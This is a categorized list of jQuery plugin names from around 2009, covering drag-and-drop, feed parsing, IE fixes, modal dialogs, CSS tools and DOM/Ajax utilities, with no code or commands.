jqDnR - drag, drop resize

Drag Demos


XML XSL JSON Feeds


XSLT Plugin

jQuery Ajax call and result XML parsing

xmlObjectifier - Converts XML DOM to JSON


jQuery XSL Transform

jQuery Taconite - multiple Dom updates

RSS/ATOM Feed Parser Plugin

jQuery Google Feed Plugin


Browserstuff


Wresize - IE Resize event Fix Plugin

jQuery ifixpng

jQuery pngFix

Link Scrubber - removes the dotted line onfocus from links


jQuery Perciformes - the entire suckerfish familly under one roof

Background Iframe

QinIE - for proper display of Q tags in IE

jQuery Accessibility Plugin

jQuery MouseWheel Plugin


Alert, Prompt, Confirm Windows


jQuery Impromptu

jQuery Confirm Plugin

jqModal


SimpleModal


CSS


jQuery Style Switcher

JSS - Javascript StyleSheets

jQuery Rule - creation/manipulation of CSS Rules

jPrintArea


DOM, Ajax and other jQuery plugins


FlyDOM


jQuery Dimenion Plugin

jQuery Loggin

Metadata - extract metadata from classes, attributes, elements

Super-tiny Client-Side Include Javascript jQuery Plugin

Undo Made Easy with Ajax

JHeartbeat - periodically poll the server

Lazy Load Plugin

Live Query

jQuery Timers


jQuery Share it - display social bookmarking icons

jQuery serverCookieJar

jQuery autoSave

jQuery Puffer

jQuery iFrame Plugin

Cookie Plugin for jQuery

jQuery Spy - awesome plugin

Effect Delay Trick

2009/07/16 16:56 2009/07/16 16:56